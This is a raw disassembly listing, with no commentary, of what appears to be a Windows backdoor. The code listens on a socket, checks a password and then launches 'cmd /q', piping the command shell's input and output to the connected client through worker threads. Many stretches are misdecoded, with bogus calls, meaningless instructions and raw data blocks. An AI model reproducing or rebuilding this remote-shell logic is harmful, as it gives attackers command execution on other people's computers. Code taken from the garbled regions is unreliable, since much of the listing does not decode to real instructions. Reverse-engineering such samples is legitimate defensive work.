xor edi, edi
mov dword ptr [ebp-0Ch], 1Eh
mov [ebp-8], edi
mov eax, [esi]
mov [ebp-1F4h], ebx
mov [ebp-1F0h], eax
lea eax, [ebp-0Ch]
push eax
push edi
lea eax, [ebp-1F4h]
push edi
push eax
push edi
call ds:dword_4CDBE0 ; select
test eax, eax
jnz short loc_4109FE
push dword ptr [esi]
call ds:dword_4CDC90 ; closesocket
push dword ptr [ebp+8]
call sub_40B287
pop ecx
push edi
call near ptr 0B10000h
dec eax
loc_4109FE: ; CODE XREF: seg000:004109E4j
push edi
lea eax, [ebp-3Ch]
push ebx
push eax
push dword ptr [esi]
call ds:dword_4CDC10 ; recv
lea eax, [ebp-2Ch]
push 10h
push eax
push dword ptr [esi]
call near ptr loc_410B7E+1
lea eax, [ebp-4Ch]
push 10h
push eax
push dword ptr [esi]
call near ptr loc_410B7E+1
lea eax, [ebp-0F0h]
push 40h
push eax
push dword ptr [esi]
call near ptr loc_410B7E+1
add esp, 24h
lea eax, [ebp-4]
mov dword ptr [ebp-4], 10h
push eax
lea eax, [ebp-1Ch]
push eax
push dword ptr [esi]
call ds:dword_4CDB4C ; getpeername
test eax, eax
jz short near ptr loc_410A76+1
call ds:dword_4CDB8C ; WSAGetLastError
push eax
push offset unk_436DA8
call sub_415322
push dword ptr [ebp+8]
call sub_40B287
add esp, 0Ch
push edi
call near ptr 0B10000h
loc_410A76: ; CODE XREF: seg000:00410A52j
mov esi, 458D026Ah
call near ptr 0FF910EEAh
adc eax, offset dword_4CDBB0
cmp eax, edi
jnz short loc_410AA1
push dword ptr [ebp-18h]
call ds:dword_4CDC84 ; inet_ntoa
push eax
lea eax, [ebp-0B0h]
push eax
call sub_41BA76
jmp short loc_410AAF
; ---------------------------------------------------------------------------
loc_410AA1: ; CODE XREF: seg000:00410A87j
push dword ptr [eax]
lea eax, [ebp-0B0h]
push eax
call sub_41C0A0
loc_410AAF: ; CODE XREF: seg000:00410A9Fj
pop ecx
pop ecx
push edi
push ebx
push offset dword_43FDB4
push dword ptr [esi]
call ds:dword_4CDC48 ; send
cmp ds:dword_4D0930, edi
jnz short near ptr loc_410B10+1
push dword ptr [ebp-18h]
lea eax, [ebp-350h]
push eax
lea eax, [ebp-0B0h]
push eax
lea eax, [ebp-2Ch]
push eax
call sub_410BC0
add esp, 10h
test eax, eax
jnz short near ptr loc_410B10+1
push edi
push 13h
push offset aPermissionDeni ; "Permission denied\n"
push dword ptr [esi]
call ds:dword_4CDC48 ; send
push dword ptr [esi]
call ds:dword_4CDC90 ; closesocket
push dword ptr [ebp+8]
call sub_40B287
pop ecx
push edi
call near ptr 0B10000h
loc_410B10: ; CODE XREF: seg000:00410AC6j
; seg000:00410AE7j
lds ecx, [ebp-0AF7Bh]
call dword ptr [eax-73h]
inc ebp
aam 50h
push offset unk_436D6C
call sub_415322
push dword ptr [ebp+8]
call loc_410E76
add esp, 10h
test eax, eax
jnz short loc_410B58
call ds:dword_42808C ; RtlGetLastWin32Error
push eax
push offset unk_436D40
call sub_415322
push dword ptr [ebp+8]
call sub_40B287
add esp, 0Ch
push ebx
call near ptr 0B10000h
lahf
loc_410B58: ; CODE XREF: seg000:00410B33j
lea eax, [ebp-0B0h]
push eax
lea eax, [ebp-2Ch]
push eax
push offset unk_436D14
call sub_415322
push dword ptr [ebp+8]
call sub_40B287
add esp, 10h
push edi
call near ptr 0B10000h
loc_410B7E: ; CODE XREF: seg000:00410A14p
; seg000:00410A21p ...
mov ch, 55h
mov ebp, esp
push esi
mov esi, [ebp+0Ch]
loc_410B86: ; CODE XREF: seg000:00410BA9j
push 0
lea eax, [ebp+0Fh]
push 1
push eax
push dword ptr [ebp+8]
call ds:dword_4CDC10 ; recv
cmp eax, 1
jnz short loc_410BBC
mov al, [ebp+0Fh]
mov [esi], al
inc esi
dec dword ptr [ebp+10h]
jz short loc_410BB1
test al, al
jnz short loc_410B86
xor eax, eax
inc eax
loc_410BAE: ; CODE XREF: seg000:00410BBEj
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_410BB1: ; CODE XREF: seg000:00410BA5j
push offset unk_436DD4
call sub_415322
pop ecx
loc_410BBC: ; CODE XREF: seg000:00410B9Aj
xor eax, eax
jmp short loc_410BAE
; =============== S U B R O U T I N E =======================================
sub_410BC0 proc near ; CODE XREF: seg000:00410ADDp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_0]
push [esp+4+arg_8]
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz short loc_410BEB
push [esp+arg_4]
push [esp+4+arg_0]
push offset dword_436E00
call sub_415322
add esp, 0Ch
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_410BEB: ; CODE XREF: sub_410BC0+11j
xor eax, eax
inc eax
retn
sub_410BC0 endp
; ---------------------------------------------------------------------------
byte_410BEF db 55h ; DATA XREF: seg000:00403E21o
dd 0EC81EC8Bh, 5A4h, 5608458Bh, 59786A57h, 0BD8DF08Bh
dd 0FFFFFDECh, 0FF33A5F3h, 0DCB88947h, 8D000001h, 0FFFA5C85h
dd 26850FFh, 0FF000002h, 4CDB6815h, 3BF63300h, 501D74C6h
dd 436F7468h, 46ECE800h, 75FF0000h, 0A649E8B4h, 0C483FFFFh
dd 0B9E8570Ch, 89006FF3h, 0E6C6857h, 0ADE80041h, 84006FF3h
dd 2975C085h, 808C15FFh, 68500042h, 436F30h, 46B9E8h, 0FF595900h
dd 4CDB5015h, 0B475FF00h, 0FFA60EE8h, 0E85759FFh, 6FF380h
dd 106A53B2h, 56E0458Dh, 0AAF2E850h, 0C4830000h, 45C7660Ch
dd 0FF0002E0h, 15FFB075h, 4CDBF8h, 6A57066Ah, 45896602h
dd 0E47589E2h, 0DC7815FFh, 0D88B004Ch, 0FFFFB83h, 13A84h
dd 0B4458B00h, 0C069106Ah, 234h, 0B449889h, 458D0044h
dd 0FF5350E0h, 4CDC2415h, 0FC08500h, 11685h, 0FFFF6800h
dd 0FF537FFFh, 4CDC2015h, 0FC08500h, 10285h, 6EF46800h
dd 45C70043h, 0CF0h, 0F4758900h, 0E8F87589h, 45A2h, 87D8959h
dd 0C7FC458Dh, 10FC45h, 8D500000h, 5350CC45h, 0DC8C15FFh
dd 0F88B004Ch, 0FFFFF83h, 0C984h, 875FF00h, 5008458Dh
dd 0FF68086Ah, 570000FFh, 0DBD815FFh, 0F883004Ch, 0FC574FFh
dd 0FFCE45B7h, 7589B475h, 75FF50C8h, 8415FFD0h, 50004CDCh
dd 0FBEC858Dh, 0B068FFFFh, 5000436Eh, 0AD05E8h, 0EC858D00h
dd 50FFFFFBh, 4531E8h, 858D5700h, 0FFFFFBECh, 0E850096Ah
dd 0FFFFA1E5h, 69B84589h, 234C0h, 0B44D8B00h, 8924C483h
dd 440B3C88h, 0DC458D00h, 0EC858D50h, 56FFFFFDh, 97A6850h
dd 458D0041h, 0FF5056F0h, 42807C15h, 0B84D8B00h, 234C969h
dd 0C63B0000h, 0B4C8189h, 1D750044h, 808C15FFh, 68500042h
dd 436E70h, 4541E8h, 0EB595900h, 0FF326A15h, 42806415h
dd 0C8753900h, 19E9F374h, 8BFFFFFFh, 15FF087Dh, 4CDB8Ch
dd 0EC858D50h, 68FFFFFBh, 436E38h, 0AC64E850h, 0C4830000h
dd 0C475390Ch, 8D562075h, 0FFFBEC85h, 0C075FFFFh, 0F0858D50h
dd 50FFFFFDh, 0FDECB5FFh, 2FE8FFFFh, 83FFFF8Bh, 858D14C4h
dd 0FFFFFBECh, 4468E850h, 57590000h, 0DC9015FFh, 0FF53004Ch
dd 4CDC9015h, 5015FF00h, 0FF004CDBh, 24E8B475h, 59FFFFA4h
dd 0F196E856h, 5B69006Fh, 4439C033h, 940F0424h
db 0C0h, 0C3h
; ---------------------------------------------------------------------------
loc_410E76: ; CODE XREF: seg000:00410B29p
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
mov edi, [ebp+8]
push edi
call sub_410FCB
imul edi, 234h
mov esi, eax
xor ebx, ebx
mov eax, ds:dword_440B44[edi]
mov dword ptr [ebp-0Ch], 0Ch
mov [ebp-8], ebx
mov [ebp-4], ebx
mov [esi+0Ch], eax
mov edi, ds:dword_42807C
pop ecx
lea eax, [ebp+8]
push eax
push ebx
push esi
push offset sub_41119D
lea eax, [ebp-0Ch]
push ebx
push eax
call edi ; CreateThread
cmp eax, ebx
mov [esi+10h], eax
jnz short loc_410EE5
call ds:dword_42808C ; RtlGetLastWin32Error
push eax
push offset unk_436FD8
call sub_415322
or dword ptr [esi+0Ch], 0FFFFFFFFh
pop ecx
xor eax, eax
jmp loc_410FC5
; ---------------------------------------------------------------------------
loc_410EE5: ; CODE XREF: seg000:00410EC6j
lea eax, [ebp+8]
push eax
push ebx
push esi
push offset sub_41123B
lea eax, [ebp-0Ch]
push ebx
push eax
call edi ; CreateThread
cmp eax, ebx
mov [esi+14h], eax
jnz short loc_410F26
call ds:dword_42808C ; RtlGetLastWin32Error
push eax
push offset unk_436FD8
call sub_415322
pop ecx
or dword ptr [esi+0Ch], 0FFFFFFFFh
pop ecx
push ebx
push dword ptr [esi+14h]
call near ptr 0B10000h
ja short loc_410F53
shr cl, 0A0h
; ---------------------------------------------------------------------------
db 0
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_410F26: ; CODE XREF: seg000:00410EFCj
mov eax, [esi+10h]
push 0FFFFFFFFh
mov [ebp-18h], eax
mov eax, [esi+14h]
mov [ebp-14h], eax
mov eax, [esi+8]
mov [ebp-10h], eax
lea eax, [ebp-18h]
push ebx
push eax
push 3
call near ptr 0B10000h
xchg ebp, [ebx]
retn
; ---------------------------------------------------------------------------
db 74h, 35h, 48h
dd 74482C74h
db 15h, 0FFh, 15h
; ---------------------------------------------------------------------------
loc_410F53: ; CODE XREF: seg000:00410F1Ej
mov word ptr [eax+68500042h], es
mov al, ds:0E800436Fh
rol byte ptr [ebx+0], 0
pop ecx
pop ecx
jmp short loc_410F95
; ---------------------------------------------------------------------------
mov edi, ds:dword_4280AC
push ebx
push dword ptr [esi+14h]
call edi ; TerminateThread
push ebx
push dword ptr [esi+10h]
call edi ; TerminateThread
jmp short loc_410F95
; ---------------------------------------------------------------------------
push ebx
push dword ptr [esi+10h]
jmp short loc_410F84
; ---------------------------------------------------------------------------
push ebx
push dword ptr [esi+14h]
loc_410F84: ; CODE XREF: seg000:00410F7Ej
call near ptr 0B10000h
jp short near ptr loc_410FF4+1
add edi, edi
jbe short near ptr loc_410F95+2
call near ptr 0B10000h
push es
loc_410F95: ; CODE XREF: seg000:00410F64j
; seg000:00410F78j ...
push dword ptr [esi+10h]
mov edi, ds:dword_42806C
call edi ; CloseHandle
push dword ptr [esi+14h]
call edi ; CloseHandle
push dword ptr [esi+8]
call edi ; CloseHandle
push dword ptr [esi]
call edi ; CloseHandle
push dword ptr [esi+4]
call edi ; CloseHandle
push dword ptr [esi+0Ch]
call ds:dword_4CDC90 ; closesocket
push esi
call sub_41B2A1
xor eax, eax
inc eax
loc_410FC5: ; CODE XREF: seg000:00410EE0j
pop ecx
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410FCB proc near ; CODE XREF: seg000:00410E83p
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
xor edi, edi
push 18h
mov [ebp+var_4], edi
mov [ebp+var_8], edi
call sub_41B6C5
mov esi, eax
pop ecx
cmp esi, edi
jz loc_4110B5
mov ebx, ds:dword_428100
loc_410FF4: ; CODE XREF: seg000:00410F89j
lea eax, [ebp+var_14]
push edi
push eax
lea eax, [ebp+var_8]
mov [esi], edi
push eax
mov [esi+4], edi
push esi
mov [ebp+var_14], 0Ch
mov [ebp+var_10], edi
mov [ebp+var_C], 1
call ebx ; CreatePipe
mov edi, ds:dword_42806C
test eax, eax
jnz short loc_41102E
call ds:dword_42808C ; RtlGetLastWin32Error
push eax
push offset unk_437088
jmp short loc_41104E
; ---------------------------------------------------------------------------
loc_41102E: ; CODE XREF: sub_410FCB+53j
lea eax, [ebp+var_14]
push 0
push eax
lea eax, [esi+4]
push eax
lea eax, [ebp+var_4]
push eax
call ebx ; CreatePipe
test eax, eax
jnz short loc_411056
call ds:dword_42808C ; RtlGetLastWin32Error
push eax
push offset unk_437048
loc_41104E: ; CODE XREF: sub_410FCB+61j
call sub_415322
pop ecx
jmp short loc_411084
; ---------------------------------------------------------------------------
loc_411056: ; CODE XREF: sub_410FCB+75j
push [ebp+arg_0]
push [ebp+var_8]
push [ebp+var_4]
call loc_4110C4
add esp, 0Ch
mov [esi+8], eax
push [ebp+var_4]
call edi ; CloseHandle
push [ebp+var_8]
call edi ; CloseHandle
cmp dword ptr [esi+8], 0
jnz short loc_4110B9
push offset unk_437020
call sub_4152AE
loc_411084: ; CODE XREF: sub_410FCB+89j
cmp [ebp+var_4], 0
pop ecx
jz short loc_411090
push [ebp+var_4]
call edi ; CloseHandle
loc_411090: ; CODE XREF: sub_410FCB+BEj
cmp [ebp+var_8], 0
jz short loc_41109B
push [ebp+var_8]
call edi ; CloseHandle
loc_41109B: ; CODE XREF: sub_410FCB+C9j
mov eax, [esi]
test eax, eax
jz short loc_4110A4
push eax
call edi ; CloseHandle
loc_4110A4: ; CODE XREF: sub_410FCB+D4j
mov eax, [esi+4]
test eax, eax
jz short loc_4110AE
push eax
call edi ; CloseHandle
loc_4110AE: ; CODE XREF: sub_410FCB+DEj
push esi
call sub_41B2A1
pop ecx
loc_4110B5: ; CODE XREF: sub_410FCB+1Dj
xor eax, eax
jmp short loc_4110BF
; ---------------------------------------------------------------------------
loc_4110B9: ; CODE XREF: sub_410FCB+ADj
or dword ptr [esi+0Ch], 0FFFFFFFFh
mov eax, esi
loc_4110BF: ; CODE XREF: sub_410FCB+ECj
pop edi
pop esi
pop ebx
leave
retn
sub_410FCB endp
; ---------------------------------------------------------------------------
loc_4110C4: ; CODE XREF: sub_410FCB+94p
push ebp
mov ebp, esp
sub esp, 58h
push ebx
push esi
push edi
push 44h
pop edi
xor esi, esi
push edi
lea eax, [ebp-58h]
push esi
push eax
mov [ebp-4], esi
call sub_41B780
push 10h
lea eax, [ebp-14h]
push esi
push eax
call sub_41B780
mov eax, [ebp+8]
mov ebx, [ebp+0Ch]
add esp, 18h
mov [ebp-20h], eax
lea eax, [ebp-18h]
mov [ebp-58h], edi
mov edi, ds:dword_4280FC
push esi
push 1
push 2
push eax
mov [ebp-54h], esi
mov [ebp-4Ch], esi
mov [ebp-50h], esi
mov [ebp-3Ch], esi
mov [ebp-40h], esi
mov [ebp-44h], esi
mov [ebp-48h], esi
mov [ebp-28h], si
mov [ebp-24h], esi
mov [ebp-26h], si
mov dword ptr [ebp-2Ch], 101h
mov [ebp-1Ch], ebx
call edi ; GetCurrentProcess
push eax
push ebx
call edi ; GetCurrentProcess
push eax
call near ptr 0B10000h
push cs
lea eax, [ebp-14h]
push eax
lea eax, [ebp-58h]
push eax
push esi
push esi
push esi
push 1
push esi
push esi
push offset aCmdQ ; "cmd /q"
push esi
call near ptr 0B10000h
mov bh, 85h
sal byte ptr [eax-75h], 45h
adc [ebx-3F960BB3h], cl
xor al, 2
; ---------------------------------------------------------------------------
dw 0
; ---------------------------------------------------------------------------
push dword ptr [ebp-10h]
mov esi, [ebp-14h]
mov ds:dword_440B40[eax], ecx
call ds:dword_42806C ; CloseHandle
jmp short loc_411196
; ---------------------------------------------------------------------------
call ds:dword_42808C ; RtlGetLastWin32Error
push eax
push offset unk_4370C8
call sub_415322
mov esi, [ebp-4]
pop ecx
pop ecx
loc_411196: ; CODE XREF: seg000:0041117Ej
mov eax, esi
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41119D proc near ; DATA XREF: seg000:00410EB5o
var_1B0 = byte ptr -1B0h
var_C8 = byte ptr -0C8h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1B0h
push ebx
mov ebx, ds:dword_4280E8
push esi
push edi
mov edi, [ebp+arg_0]
jmp short loc_411200
; ---------------------------------------------------------------------------
loc_4111B4: ; CODE XREF: sub_41119D+7Bj
xor eax, eax
xor dl, dl
xor esi, esi
cmp [ebp+arg_0], eax
jbe short loc_4111E9
loc_4111BF: ; CODE XREF: sub_41119D+4Aj
mov cl, [ebp+esi+var_C8]
cmp cl, 0Ah
jnz short loc_4111D9
cmp dl, 0Dh
jz short loc_4111D9
mov [ebp+eax+var_1B0], 0Dh
inc eax
loc_4111D9: ; CODE XREF: sub_41119D+2Cj
; sub_41119D+31j
mov [ebp+eax+var_1B0], cl
inc eax
inc esi
mov dl, cl
cmp esi, [ebp+arg_0]
jb short loc_4111BF
loc_4111E9: ; CODE XREF: sub_41119D+20j
push 0
push eax
lea eax, [ebp+var_1B0]
push eax
push dword ptr [edi+0Ch]
call ds:dword_4CDC48 ; send
test eax, eax
jle short loc_41121A
loc_411200: ; CODE XREF: sub_41119D+15j
lea eax, [ebp+arg_0]
push 0
push eax
lea eax, [ebp+var_C8]
push 0C8h
push eax
push dword ptr [edi]
call ebx ; ReadFile
test eax, eax
jnz short loc_4111B4
loc_41121A: ; CODE XREF: sub_41119D+61j
mov esi, ds:dword_42808C
call esi ; RtlGetLastWin32Error
cmp eax, 6Dh
jz short loc_411236
call esi ; RtlGetLastWin32Error
push eax
push offset unk_437108
call sub_415322
pop ecx
pop ecx
loc_411236: ; CODE XREF: sub_41119D+88j
pop edi
pop esi
pop ebx
leave
retn
sub_41119D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41123B proc near ; DATA XREF: seg000:00410EEBo
var_DC = byte ptr -0DCh
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_7 = byte ptr -7
var_6 = byte ptr -6
var_5 = byte ptr -5
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
arg_333474B8 = dword ptr 333474C0h
push ebp
mov ebp, esp
sub esp, 0DCh
push ebx
push esi
xor ebx, ebx
push edi
mov edi, [ebp+arg_0]
xor esi, esi
mov [ebp+var_10], ebx
jmp loc_411334
; ---------------------------------------------------------------------------
loc_411256: ; CODE XREF: sub_41123B+10Ej
cmp [ebp+var_10], ebx
jbe short loc_411263
dec [ebp+var_10]
jmp loc_411337
; ---------------------------------------------------------------------------
loc_411263: ; CODE XREF: sub_41123B+1Ej
mov al, byte ptr [ebp+arg_0+3]
movsx ecx, al
cmp ecx, 0FFh
jz near ptr loc_41131E+1
cmp al, 8
mov [ebp+var_C], ebx
jz short loc_4112D3
cmp al, 7Fh
jz short loc_4112D3
cmp al, 3
jnz short loc_41128E
push ebx
push ebx
call near ptr 0B10000h
inc edi
jmp short loc_4112FA
; ---------------------------------------------------------------------------
loc_41128E: ; CODE XREF: sub_41123B+47j
cmp al, 15h
jnz short loc_4112B0
xor esi, esi
mov [ebp+var_8], 20h
mov [ebp+var_7], 58h
mov [ebp+var_6], 58h
mov [ebp+var_5], 58h
mov [ebp+var_4], 0Dh
mov [ebp+var_3], 0Ah
push 6
jmp short loc_4112E6
; ---------------------------------------------------------------------------
loc_4112B0: ; CODE XREF: sub_41123B+55j
xor ecx, ecx
mov [ebp+esi+var_DC], al
inc esi
inc ecx
cmp al, 0Dh
mov [ebp+var_8], al
jnz short loc_4112E7
mov [ebp+esi+var_DC], 0Ah
mov [ebp+var_7], 0Ah
inc esi
push 2
jmp short loc_4112E6
; ---------------------------------------------------------------------------
loc_4112D3: ; CODE XREF: sub_41123B+3Fj
; sub_41123B+43j
cmp esi, ebx
jbe short loc_4112FD
dec esi
mov [ebp+var_8], 8
mov [ebp+var_7], 20h
mov [ebp+var_6], 8
push 3
loc_4112E6: ; CODE XREF: sub_41123B+73j
; sub_41123B+96j
pop ecx
loc_4112E7: ; CODE XREF: sub_41123B+85j
push ebx
lea eax, [ebp+var_8]
push ecx
push eax
push dword ptr [edi+0Ch]
call ds:dword_4CDC48 ; send
test eax, eax
jle short loc_41134F
loc_4112FA: ; CODE XREF: sub_41123B+51j
mov al, byte ptr [ebp+arg_0+3]
loc_4112FD: ; CODE XREF: sub_41123B+9Aj
cmp al, 0Dh
jnz short loc_411337
lea eax, [ebp+var_14]
push ebx
push eax
lea eax, [ebp+var_DC]
push esi
push eax
push dword ptr [edi+4]
call near ptr 0B10000h
rol [ebp+arg_333474B8], 1
imul bl
loc_41131E: ; CODE XREF: sub_41123B+34j
sbb [ecx], bh
pop ebp
hlt
; ---------------------------------------------------------------------------
jnz short loc_41132D
mov [ebp+var_C], 1
jmp short loc_411337
; ---------------------------------------------------------------------------
loc_41132D: ; CODE XREF: sub_41123B+E7j
mov [ebp+var_10], 0Ah
loc_411334: ; CODE XREF: sub_41123B+16j
mov [ebp+var_C], ebx
loc_411337: ; CODE XREF: sub_41123B+23j
; sub_41123B+C4j ...
push ebx
lea eax, [ebp+arg_0+3]
push 1
push eax
push dword ptr [edi+0Ch]
call ds:dword_4CDC10 ; recv
test eax, eax
jg loc_411256
loc_41134F: ; CODE XREF: sub_41123B+BDj
pop edi
pop esi
pop ebx
leave
retn
sub_41123B endp
; ---------------------------------------------------------------------------
loc_411354: ; DATA XREF: seg000:0040470Co
push ebp
mov ebp, esp
sub esp, 2D4h
mov eax, [ebp+8]
push ebx
push esi
push edi
push 10h
mov esi, eax
pop ebx
lea edi, [ebp-0D4h]
push 2Ch
mov [ebp-4], ebx
pop ecx
rep movsd
xor edi, edi
xor esi, esi
inc edi
push ebx
mov [eax+0A8h], edi
lea eax, [ebp-14h]
push esi
push eax
call sub_41B780
add esp, 0Ch
mov word ptr [ebp-14h], 2
push dword ptr [ebp-40h]
call ds:dword_4CDBF8 ; htons
push 6
push edi
push 2
mov [ebp-12h], ax
mov [ebp-10h], esi
call ds:dword_4CDC78 ; socket
mov edi, eax
mov eax, [ebp-3Ch]
imul eax, 234h
push ebx
mov ds:dword_440B44[eax], edi
lea eax, [ebp-14h]
push eax
push edi
call ds:dword_4CDC24 ; bind
test eax, eax
jnz loc_4114F5
push 0Ah
push edi
call ds:dword_4CDC20 ; listen
test eax, eax
jnz loc_4114F5
push dword ptr [ebp-40h]
push dword ptr [ebp-0D4h]
call sub_40AAF8
pop ecx
push eax
lea eax, [ebp-2D4h]
push offset dword_42CF70
push eax
call sub_41BA76
add esp, 10h
cmp [ebp-30h], esi
jnz short loc_41142F
push esi
lea eax, [ebp-2D4h]
push dword ptr [ebp-34h]
push eax
lea eax, [ebp-0D0h]
push eax
push dword ptr [ebp-0D4h]
call sub_409966
add esp, 14h
loc_41142F: ; CODE XREF: seg000:0041140Dj
; seg000:004114DEj ...
lea eax, [ebp-2D4h]
push eax
call sub_4152AE
pop ecx
lea eax, [ebp-4]
push eax
lea eax, [ebp-24h]
push eax
push edi
call ds:dword_4CDC8C ; accept
push dword ptr [ebp-3Ch]
mov ebx, eax
movzx eax, word ptr [ebp-22h]
push eax
mov [ebp-28h], esi
push dword ptr [ebp-20h]
call ds:dword_4CDC84 ; inet_ntoa
push eax
lea eax, [ebp-2D4h]
push offset dword_4371B8
push eax
call sub_41BA76
push ebx
lea eax, [ebp-2D4h]
push 19h
push eax
call sub_40AF71
mov [ebp-38h], eax
imul eax, 234h
mov ecx, [ebp-3Ch]
add esp, 20h
mov ds:dword_440B3C[eax], ecx
lea eax, [ebp+8]
push eax
lea eax, [ebp-0D4h]
push esi
push eax
push offset loc_411558
push esi
push esi
call ds:dword_42807C ; CreateThread
mov ecx, [ebp-38h]
imul ecx, 234h
cmp eax, esi
mov ds:dword_440B4C[ecx], eax
jnz short loc_4114EB
call ds:dword_42808C ; RtlGetLastWin32Error
push eax
lea eax, [ebp-2D4h]
push offset dword_437178
push eax
call sub_41BA76
add esp, 0Ch
jmp loc_41142F
; ---------------------------------------------------------------------------
loc_4114E3: ; CODE XREF: seg000:004114EEj
push 5
call ds:dword_428064 ; Sleep
loc_4114EB: ; CODE XREF: seg000:004114C1j
cmp [ebp-28h], esi
jz short loc_4114E3
jmp loc_41142F
; ---------------------------------------------------------------------------
loc_4114F5: ; CODE XREF: seg000:004113CFj
; seg000:004113E0j
push edi
call ds:dword_4CDC90 ; closesocket
push dword ptr [ebp-40h]
lea eax, [ebp-2D4h]
push offset dword_437144
push eax
call sub_41BA76
add esp, 0Ch
cmp [ebp-30h], esi
jnz short loc_411538
push esi
lea eax, [ebp-2D4h]
push dword ptr [ebp-34h]
push eax
lea eax, [ebp-0D0h]
push eax
push dword ptr [ebp-0D4h]
call sub_409966
add esp, 14h
loc_411538: ; CODE XREF: seg000:00411516j
lea eax, [ebp-2D4h]
push eax
call sub_4152AE
push dword ptr [ebp-3Ch]
call sub_40B287
pop ecx
pop ecx
push esi
call near ptr 0B10000h
nop
pop edi
pop esi
pop ebx
loc_411558: ; DATA XREF: seg000:004114A3o
push ebp
mov ebp, esp
sub esp, 5D4h
mov eax, [ebp+8]
push ebx
push esi
push edi
push 2Ch
mov esi, eax
pop ecx
lea edi, [ebp-0C8h]
rep movsd
mov esi, [ebp-2Ch]
xor edi, edi
mov [ebp+8], esi
imul esi, 234h
inc edi
lea esi, dword_440B44[esi]
mov [eax+0ACh], edi
xor ebx, ebx
mov eax, [esi]
mov dword ptr [ebp-8], 5
mov [ebp-5D0h], eax
lea eax, [ebp-8]
push eax
push ebx
lea eax, [ebp-5D4h]
push ebx
push eax
push ebx
mov [ebp-4], ebx
mov [ebp-5D4h], edi
call ds:dword_4CDBE0 ; select
test eax, eax
jnz short near ptr loc_4115D8+1
push dword ptr [esi]
call ds:dword_4CDC90 ; closesocket
push dword ptr [ebp+8]
call sub_40B287
pop ecx
push ebx
call near ptr 0B10000h
loc_4115D8: ; CODE XREF: seg000:004115BFj
fst qword ptr [ebx-73h]
test [eax], esi
sti
; ---------------------------------------------------------------------------
dw 0FFFFh
dd 40868h, 36FF5000h, 0DC1015FFh, 0C085004Ch, 36FF187Fh
dd 0DC9015FFh, 75FF004Ch, 9C85E808h, 5359FFFFh, 6FE9F7E8h
dd 0BD80D900h, 0FFFFFB30h, 0ED850F04h, 80000001h, 0FFFB31BDh
dd 850F01FFh, 1E0h, 74BC5D38h, 0BC458D77h, 38858D50h, 50FFFFFBh
dd 0AC27E8h, 0C0855900h, 8D617459h, 8D50BC45h, 0FFFB3885h
dd 846850FFh, 0E8004372h, 3CCEh, 40068h, 38858D00h, 53FFFFFBh
dd 309D8850h, 0C6FFFFFBh, 0FFFB3185h, 0DE85DFFh, 830000A1h
dd 858D18C4h, 0FFFFFB30h, 50086A53h, 15FF36FFh, 4CDC48h
dd 15FF36FFh, 4CDC90h, 0E80875FFh, 0FFFF9BEFh, 61E85359h
dd 46006FE9h, 458D106Ah, 0E85053E8h, 0A0D4h, 32858B66h
dd 83FFFFFBh, 89660CC4h, 858BEA45h, 0FFFFFB34h, 6A57066Ah
dd 45C76602h, 890002E8h, 15FFEC45h, 4CDC78h, 0FF83F88Bh
dd 0FF5D75FFh, 4CDB8C15h, 44685000h, 0E8004372h, 3C36h
dd 40068h, 38858D00h, 53FFFFFBh, 309D8850h, 0C6FFFFFBh
dd 0FFFB3185h, 75E85BFFh, 830000A0h, 858D14C4h, 0FFFFFB30h
dd 50086A53h, 15FF36FFh, 4CDC48h, 15FF36FFh, 4CDC90h, 0E80875FFh
dd 0FFFF9B57h, 0C9E85359h, 0A0006FE8h, 6AE8458Dh, 0FF575010h
dd 4CDBA015h, 0FFF88300h, 15FF5D75h, 4CDB8Ch, 72006850h
dd 0C7E80043h, 6800003Bh, 400h, 0FB38858Dh, 5053FFFFh
dd 0FB309D88h, 85C6FFFFh, 0FFFFFB31h, 0A006E85Bh, 0C4830000h
dd 30858D14h, 53FFFFFBh, 0FF50086Ah, 4815FF36h, 0FF004CDCh
dd 9015FF36h, 0FF004CDCh, 0E8E80875h, 59FFFF9Ah, 0E85AE853h
dd 687B006Fh, 400h, 0FB38858Dh, 5053FFFFh, 0FB309D88h
dd 85C6FFFFh, 0FFFFFB31h, 9FBAE85Ah, 0C4830000h, 30858D0Ch
dd 53FFFFFBh, 0FF50086Ah, 4815FF36h, 0FF004CDCh, 39E85736h
dd 59000000h, 15FF5759h, 4CDC90h, 15FF36FFh, 4CDC90h, 0E80875FFh
dd 0FFFF9A8Bh, 0FDE85359h, 7C006FE7h, 15FF36FFh, 4CDC90h
dd 0E80875FFh, 0FFFF9A73h, 0E5E85359h, 0CE006FE7h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 504h
push ebx
mov ebx, [ebp+0Ch]
push esi
push edi
xor edi, edi
mov esi, 400h
loc_411832: ; CODE XREF: seg000:004118DAj
; seg000:0041190Aj
xor ecx, ecx
mov [ebp-100h], ebx
inc ecx
xor eax, eax
mov [ebp-104h], ecx
loc_411843: ; CODE XREF: seg000:00411852j
mov edx, [ebp+8]
cmp [ebp+eax*4-100h], edx
jz short loc_411854
inc eax
cmp eax, ecx
jb short loc_411843
loc_411854: ; CODE XREF: seg000:0041184Dj
cmp eax, ecx
jnz short loc_411868
mov [ebp-0FCh], edx
mov dword ptr [ebp-104h], 2
loc_411868: ; CODE XREF: seg000:00411856j
push esi
lea eax, [ebp-504h]
push edi
push eax
call sub_41B780
add esp, 0Ch
lea eax, [ebp-104h]
push edi
push edi
push edi
push eax
push edi
call ds:dword_4CDBE0 ; select
lea eax, [ebp-104h]
push eax
push ebx
call ds:dword_4CDAE4 ; __WSAFDIsSet
test eax, eax
jz short loc_4118C8
push edi
